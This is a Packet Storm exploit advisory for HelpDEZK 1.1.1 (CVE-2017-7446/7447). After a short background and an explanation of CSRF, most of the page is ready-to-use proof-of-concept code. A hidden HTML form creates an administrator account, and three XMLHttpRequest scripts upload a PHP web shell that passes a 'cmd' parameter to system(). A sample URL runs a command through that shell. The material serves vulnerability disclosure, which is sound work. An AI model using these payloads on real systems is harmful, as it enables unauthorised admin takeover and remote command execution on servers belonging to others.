Twenty Year Anniversary

HelpDEZK 1.1.1 CSRF / Code Execution

HelpDEZK 1.1.1 CSRF / Code Execution
Posted Apr 5, 2017
Authored by yokoacc, rungga_reksya, AdyWikradinata, dvnrcy, dickysofficial

HelpDEZK version 1.1.1 suffers from code execution and cross site request forgery vulnerabilities.

tags | exploit, vulnerability, code execution, csrf
advisories | CVE-2017-7446, CVE-2017-7447
MD5 | 39ff9b5e973e4cc6e07d3260e5985c65

HelpDEZK 1.1.1 CSRF / Code Execution

Change Mirror Download
# Exploit Title: Multiple CSRF Remote Code Execution Vulnerability on HelpDEZK 1.1.1
# Date: 05-April-2017
# Exploit Author: @rungga_reksya, @yokoacc, @AdyWikradinata, @dickysofficial, @dvnrcy
# Vendor Homepage: http://www.helpdezk.org/
# Software Link: https://codeload.github.com/albandes/helpdezk/zip/v1.1.1
# Version: 1.1.1
# Tested on: Windows Server 2012 Datacenter Evaluation
# CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1 - CRITICAL)# CVE: CVE-2017-7446 and CVE-2017-7447

I. Background:
HelpDEZk is a powerfull software that manages requests/incidents. It has all the needed requirements to an efficient workflow management of all processes involved in service execution. This control is done for internal demands and also for outsourced services. HelpDEZk can be used at any company's area, serving as an support to the shared service center concept, beyond the ability to log all the processes and maintain the request's history, it can pass it through many approval levels. HelpDEZk can put together advanced managing resources with an extremely easy use. Simple and intuitive screens make the day-by-day easier for your team, speeding up the procedures and saving up a lot of time. It is developped in objects oriented PHP language, with the MVC architecture and uses the templates system SMARTY. For the javascripts, JQUERY is used.

II. Description:
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

HelpDEZK have role for type person:

admin = 1
user = 2
operator = 3
costumer = 4
partner = 5
group = 6


III. Exploit:

a> The first CSRF Target is: a/admin/home#/person/a
(Admin - Records - People & Companies)

The guest (no have account) can make admin privilege with CSRF Remote Code Execution. This is script for make account admin:
<html>
<!-- CSRF PoC on insert menu people -->
<body>
<form action="http://192.168.228.186/helpdezk-1.1.1/admin/person/insertNatural" method="POST">
<input type="hidden" name="login" value="testing" />
<input type="hidden" name="logintype" value=a3a /> <!-- Type Login = 3 (HD) -->
<input type="hidden" name="password" value="testing" />
<input type="hidden" name="name" value="testing" />
<input type="hidden" name="email" value="testing@local.com" /> <!-- e.g: testing@local.com -->
<input type="hidden" name="company" value="60" />
<input type="hidden" name="department" value="1" />
<input type="hidden" name="phone" value="" />
<input type="hidden" name="branch" value="" />
<input type="hidden" name="mobile" value="" />
<input type="hidden" name="country" value="1" />
<input type="hidden" name="state" value="1" />
<input type="hidden" name="cpf" value="" />
<input type="hidden" name="city" value="1" />
<input type="hidden" name="neighborhood" value="Choose" />
<input type="hidden" name="zipcode" value="" />
<input type="hidden" name="typestreet" value="1" />
<input type="hidden" name="address" value="Choose" />
<input type="hidden" name="number" value="" />
<input type="hidden" name="complement" value="" />
<input type="hidden" name="typeuser" value="1" /> <!-- admin privilege -->
<input type="hidden" name="location" value="" />
<input type="hidden" name="vip" value="N" />
<input type="hidden" name="filladdress" value="N" />
<input type="hidden" name="dtbirth" value="" />
<input type="hidden" name="gender" value="M" />
<input type="hidden" name="time_value" value="" />
<input type="hidden" name="overtime" value="" />
<input type="hidden" name="changePassInsert" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

a> The second CSRF target is: /admin/home#/logos/
(Admin - Config - Logos)
If we have minimum low privilege, we can remote code execute to make shell on module logos (Position of Page Header, Login Page and Reports Logo). The HelpDEZK unrestricted file extension but normally access only for admin.

If you have low privilege, please choose which one to execute this code (before execute, you shall login into application):a"
<!-- CSRF PoC - Login Page Logo -->
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.228.186/helpdezk-1.1.1/admin/logos/upload2", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1883328331133778598415248998");
xhr.withCredentials = true;
var body = "-----------------------------1883328331133778598415248998\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"index.php\"\r\n" +
"Content-Type: text/php\r\n" +
"\r\n" +
"\x3c?php\n" +
"\n" +
"if(isset($_REQUEST[\'cmd\'])){\n" +
" echo \"\x3cpre\x3e\";\n" +
" $cmd = ($_REQUEST[\'cmd\']);\n" +
" system($cmd);\n" +
" echo \"\x3c/pre\x3e\";\n" +
" die;\n" +
"}\n" +
"\n" +
"?\x3e\r\n" +
"-----------------------------1883328331133778598415248998--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

aaaa
<!-- CSRF PoC Page Header Logo -->
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.228.186/helpdezk-1.1.1/admin/logos/upload", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------11525671838941487412014811928");
xhr.withCredentials = true;
var body = "-----------------------------11525671838941487412014811928\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\n" +
"Content-Type: text/php\r\n" +
"\r\n" +
"\x3c?php\n" +
"\n" +
"if(isset($_REQUEST[\'cmd\'])){\n" +
" echo \"\x3cpre\x3e\";\n" +
" $cmd = ($_REQUEST[\'cmd\']);\n" +
" system($cmd);\n" +
" echo \"\x3c/pre\x3e\";\n" +
" die;\n" +
"}\n" +
"\n" +
"?\x3e\r\n" +
"-----------------------------11525671838941487412014811928--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

aaaaaaa
<!-- CSRF PoC - Reports Logo -->
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.228.186/helpdezk-1.1.1/admin/logos/upload3", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1789373681642463979344317937");
xhr.withCredentials = true;
var body = "-----------------------------1789373681642463979344317937\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"index.php\"\r\n" +
"Content-Type: text/php\r\n" +
"\r\n" +
"\x3c?php\n" +
"\n" +
"if(isset($_REQUEST[\'cmd\'])){\n" +
" echo \"\x3cpre\x3e\";\n" +
" $cmd = ($_REQUEST[\'cmd\']);\n" +
" system($cmd);\n" +
" echo \"\x3c/pre\x3e\";\n" +
" die;\n" +
"}\n" +
"\n" +
"?\x3e\r\n" +
"-----------------------------1789373681642463979344317937--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

aaaa
If you have executed and success, check your file on:
http://example.com/helpdezk-1.1.1/app/uploads/logos/

and PWN ^_^
http://example.com/helpdezk-1.1.1/app/uploads/logos/login_index.php?cmd=ipconfig
IV. Thanks to:
- Alloh SWT
- MyBoboboy
- Komunitas IT Auditor & IT Security


Refer:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003)http://rungga.blogspot.co.id/2017/04/multiple-csrf-remote-code-execution.html
https://github.com/albandes/helpdezk/issues/2

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    26 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    2 Files
  • 7
    Oct 7th
    3 Files
  • 8
    Oct 8th
    23 Files
  • 9
    Oct 9th
    16 Files
  • 10
    Oct 10th
    15 Files
  • 11
    Oct 11th
    19 Files
  • 12
    Oct 12th
    16 Files
  • 13
    Oct 13th
    2 Files
  • 14
    Oct 14th
    2 Files
  • 15
    Oct 15th
    15 Files
  • 16
    Oct 16th
    20 Files
  • 17
    Oct 17th
    19 Files
  • 18
    Oct 18th
    21 Files
  • 19
    Oct 19th
    16 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close